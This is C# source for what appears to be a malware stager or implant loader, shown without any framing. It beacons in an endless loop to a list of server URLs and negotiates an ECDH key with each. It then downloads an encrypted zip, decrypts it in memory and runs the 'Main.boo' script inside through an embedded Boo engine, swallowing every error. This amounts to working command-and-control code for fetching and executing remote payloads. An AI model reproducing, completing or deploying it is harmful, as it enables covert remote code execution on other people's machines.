public static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("Usage: ST.exe <URL>");
Environment.Exit(1);
}
try
{
BASE_URL = new Uri(args[0]);
URL = new Uri(new Uri(args[0]), GUID.ToString());
}
catch
{
Console.WriteLine("Invalid URL?");
Environment.Exit(1);
}
//AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler);
#if DEBUG
Console.WriteLine("[+] URL: {0}", URL);
#endif
byte[] key = Crypto.ECDHKeyExchange(URL);
byte[] encrypted_zip = Comms.HttpGet(URL);
_stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true);
byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo");
string source = Encoding.UTF8.GetString(resource, 0, resource.Length);
RunBooEngine(source);
}
public static void Start(string _guid, string _psk, string[] _urls)
{
//AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler);
GUID = Guid.Parse(_guid);
HEXPSK = _psk;
PSK = Utils.Hex2Binary(_psk);
URLS = _urls;
#if DEBUG
Console.WriteLine("[+] URLS: {0}", String.Join(",", URLS));
#endif
while (true)
{
foreach (var url in URLS)
{
Uri URL;
URL = new Uri(new Uri(url), GUID.ToString());
try
{
byte[] key = Crypto.ECDHKeyExchange(URL, PSK);
byte[] encrypted_zip = Comms.HttpGet(URL);
_stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true);
byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo");
string source = Encoding.UTF8.GetString(resource, 0, resource.Length);
RunBooEngine(source);
}
catch { }
}
}
}
public static byte[] ECDHKeyExchange(Uri URL, string Endpoint = "")
{
byte[] key = default(byte[]);
using (ECDiffieHellmanCng AsymAlgo = new ECDiffieHellmanCng())
{
var publicKey = AsymAlgo.PublicKey.ToXmlString();
byte[] r = Comms.HttpPost(URL, Endpoint, Encoding.UTF8.GetBytes(publicKey));
ECDiffieHellmanCngPublicKey peerPublicKey = ECDiffieHellmanCngPublicKey.FromXmlString(Encoding.UTF8.GetString(r));
key = AsymAlgo.DeriveKeyMaterial(peerPublicKey);
}
return(key);
}
